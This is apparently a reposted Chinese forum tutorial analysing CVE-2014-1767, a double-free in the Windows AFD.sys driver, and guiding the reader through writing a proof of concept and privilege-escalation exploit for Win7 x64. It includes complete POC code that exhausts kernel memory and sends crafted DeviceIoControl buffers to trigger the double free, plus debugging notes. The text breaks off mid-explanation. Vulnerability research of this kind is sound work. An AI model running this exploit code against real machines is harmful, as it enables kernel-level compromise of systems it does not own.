Windows本地提权漏洞CVE-2014-1767分析及EXP编写指导

2022 年 03 月 31 日 11:41 wu

本文为看雪论坛精华文章
看雪论坛作者ID：ExploitCN

一

简介

1.1 写作目的

这是我的第四篇CVE文章，相比前面三篇，我认为这篇文章研究的CVE漏洞，是最难，同时也是最值得学习的一个提权漏洞。尽管之前的漏洞也很优秀，但这个漏洞我认为是优秀者中的佼佼者。

我们要自己去构造内存数据，而且要精确到字节，要了解一些系统的机制，还要知道各种函数的反汇编用法，因此EXP里面的每一个数据都有其特定的含义，并非随意而为，，难度自然更大。我想这对提高我们的PWN水平有帮助，所以我写下了这篇文章。

本文侧重于介绍内存构造的思路，最后给出了调试结果。

1.2 概述

在2014年的Pwn2Own黑客大赛上，Siberas安全团队利用CVE-2014-1767 Windows AFD.sys 双重释放漏洞进行内核提权，以此绕过windows8.1 平台上的IE11沙箱，随后该漏洞因此获得2014年黑客奥斯卡的“最佳提权漏洞奖”。

后来，Siberas团队在其官网公布了此漏洞的详细细节及利用方法，它是AFD.sys驱动上的一处双重释放漏洞，通杀Wdinwos系统，影响较大。

1.3 非常重要的说明

针对这个漏洞我要说明的有以下几点：

① 本文侧重点在POC、EXP编写，从逆向与调试的角度引领你分析、编写POC、EXP；

② 本文是首篇针对该漏洞在x64平台下的分析、编写文章；

③ 全网最详细POC、EXP的编写说明；

④ EXP完全复用POC的代码；

⑤ 上传的EXP是我自己编写的。

实验环境为：win7_x64_sp1（7601）版本

二

POC分析

2.1 POC代码

ULONG CalcLength(){    int BaseLength = 0x10000;    unsigned __int16 VirtualAddress = 0x13371337;    int FinalLength = 0x0;    while (1)    {        FinalLength = ((BaseLength & 0xFFF) + ((unsigned __int16)VirtualAddress & 0xFFF) + 0xFFF) >> 0xC;        FinalLength = 8 * (FinalLength + (BaseLength>>0xC))+ 0x30;            if (FinalLength == 0x100)            {                break;            }            else            {                BaseLength += 1;                continue;            }    }    return BaseLength;} int main(){    int nBottonRect = 0x2aaaaaa;    while (true)    {        HRGN hrgn = CreateRoundRectRgn(0, 0, 1, nBottonRect, 1, 1);        if (hrgn==NULL)        {            break;        }        printf("hrgn = %p\n", hrgn);    }     //这儿看IoAllocateMdl(ntoskrnl)    DWORD length = CalcLength();    printf("Length = %x\n", length);    DWORD virtualAddress = 0x13371337;     static BYTE inbuf1[0x40];    memset(inbuf1, 0, sizeof(inbuf1));    *(ULONG_PTR*)(inbuf1 + 0x20) = virtualAddress;    *(ULONG*)(inbuf1 + 0x28) = length;            *(ULONG*)(inbuf1 + 0x3c) = 1;                  static BYTE inbuf2[0x18];    memset(inbuf2, 0, sizeof(inbuf2));    *(ULONG*)(inbuf2) = 1;    *(ULONG*)(inbuf2 + 0x8) = 0x0AAAAAAA;          WSADATA         WSAData;    SOCKET         s;    sockaddr_in  sa;    int             ierr;    WSAStartup(0x2, &WSAData);    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);    memset(&sa, 0, sizeof(sa));    sa.sin_port = htons(135);    sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");    sa.sin_family = AF_INET;    ierr = connect(s, (const struct sockaddr*)&sa, sizeof(sa));    DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x40, NULL, 0, NULL, NULL);    DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, NULL, 0, NULL, NULL);}

2.2 POC运行结果

运行上面POC代码，系统出现蓝屏后的windbg调试结果见上图（上图并不是原始输出，我把一些不重要的数据删除了）。从第一个红框可以看出：
① 这是一个双重释放漏洞；
② 双重释放的代码在afd!AfdReturnTpinfo+0xe7。

我们先来看看afd!AfdReturnTpinfo+0xe7，是什么代码：
Windows本地提权漏洞CVE-2014-1767分析及EXP编写指导

可见，在afd!AfdReturnTpinfo+0xe1处，是IoFreeMdl函数，它是用来释放Mdl指针的。那么，释放完之后，有没有对指针进行清零处理？我们来看看反编译代码：

根据上面分析可知，IoFreeMdl肯定被执行了两次，那么，在后面我们进行分析时，可以在此处下断点，看这块内存是怎么变化的。现在，我们来看看，程序为什么会调用IoFreeMdl两次。

2.3 漏洞产生的根本原因

漏洞是因为连续两次释放内存，由afd!AfdReturnTpinfo调用。

第一次是因为调用
DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x40, NULL, 0, NULL, NULL);
时，afd!afdTransmitFile+0x2CD调用MmProbeAndLockPages函数判断的地址，是POC里面指定的0x13371337这个非法地址，所以会出现异常，如下图所示：

第二次调用：
DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x18, NULL, 0, NULL, NULL);
因为POC里面指定的内存空间是0x0AAAAAAA*0x18，在afd!afdTransmitPackets中调用afd!AfdTliGetTpInfo，执行ExAllocatePoolwithQutaTag时失败后，会跳到AfdReturnTpinfo函数执行，如下图：

两次进入异常处理函数，都会调用IoFreeMdl函数，从而导致指针双重释放。

三

x64平台POC编写指导

3.1 第一阶段：消耗系统内存

int nBottonRect = 0x2aaaaaa;while (true){    HRGN hrgn = CreateRoundRectRgn(0, 0, 1, nBottonRect, 1, 1);    if (hrgn==NULL)    {        break;    }    printf("hrgn = %p\n", hrgn);    }

通过CreateRoundRectRgn函数消耗内存。至于为什么要消耗内存，可以先看2.3节，我在后面会做更详细说明。

3.2 第二阶段：构造Inbuff1

3.2.1 Inbuff1的输入长度构造

POC里面有个函数CalcLength，它是用于计算输入长度，用来控制分配内存空间大小的。现在，我们需要内存固定分配0x100字节大小的空间，至于为什么，我在后面说明，现在你只用知道，我们需要构造一个0x100大小的内存空间。

在afd!AfdTransmitFile中，nt!IoAllocateMdl函数第二个参数length就是我们输入的参数，通过这个参数，就可以控制内存大小，见下图：

现在，我们需要看看IoAllocateMdl是如何分配内存空间的，反编译nt!IoAllocateMdl，可得：

我们的CalcLength函数，就是为了输入Length，得到一个固定的内存0x100。基本思路是：
① 初始Length从0x10000开始；
② ViRtualAddress是非法地址0x13371337；

通过while（1）循环，查找使得分配内存为0x100的length，具体实现见代码。

代码实现为：

ULONG CalcLength(){int BaseLength = 0x10000;unsigned __int16 VirtualAddress = 0x13371337;int FinalLength = 0x0;while (1){   FinalLength = ((BaseLength & 0xFFF) + ((unsigned   __int16)VirtualAddress & 0xFFF) + 0xFFF) >> 0xC;   FinalLength = 8 * (FinalLength + (BaseLength>>0xC))+ 0x30;   if (FinalLength == 0x100)   {    break;   }    else   {    BaseLength += 1;    continue;    }   }   return BaseLength;}

3.2.2 Inbuff1的参数构造

afd!afdTransmitFile和afd!afdTransmitPackets两个函数的函数原型分别是：

__fastcall AfdTransmitFile（PIRP  pIRP, PIO_STACK_LOCATION pIoStackLocation）__fastcall AfdTransmitPackets(PIRP pIrp, PIO_STACK_LOCATION pIoStackLocation)

第二个形参的定义为：

kd> dt _io_stack_locationntdll!_IO_STACK_LOCATION   +0x000 MajorFunction    : UChar   +0x001 MinorFunction    : UChar   +0x002 Flags            : UChar   +0x003 Control          : UChar   +0x008 Parameters       : //struct{//  +0x008     ULONG OutputBufferLength;//  +0x010       POINTER_ALIGNMENT InputBufferLength;//  +0x018     POINTER_ALIGNMENT IoControlCode;//  +0x020     Type3InputBuffer/





上一篇：3月18日 | 在线直播 | 英文科研论文高效写作指南：正文各部分的写作要点及时态问题  下一篇：格芯推出新一代硅光解决方案，新思响应加入生态系统 



最新文章
        
        
        · 高三如何快速提高物理成绩
· 安培力的方向判断
· 高中物理公式总结表
· 摩擦起电的原因
· 平衡力和相互作用力的区别
· 风力发电一圈能发多少电 风力发电原理

        
		

推荐文章
        
        	
· 平衡力和相互作用力的区别
· 2024高考政治必考题型整理 答题技巧有
· 军校军检标准2024 体检要求是什么
· 2024年高考新政策 新高考政策是什么
· 新高考等级划分标准 赋分标准
· 西藏2024高考报名人数公布 报考人数是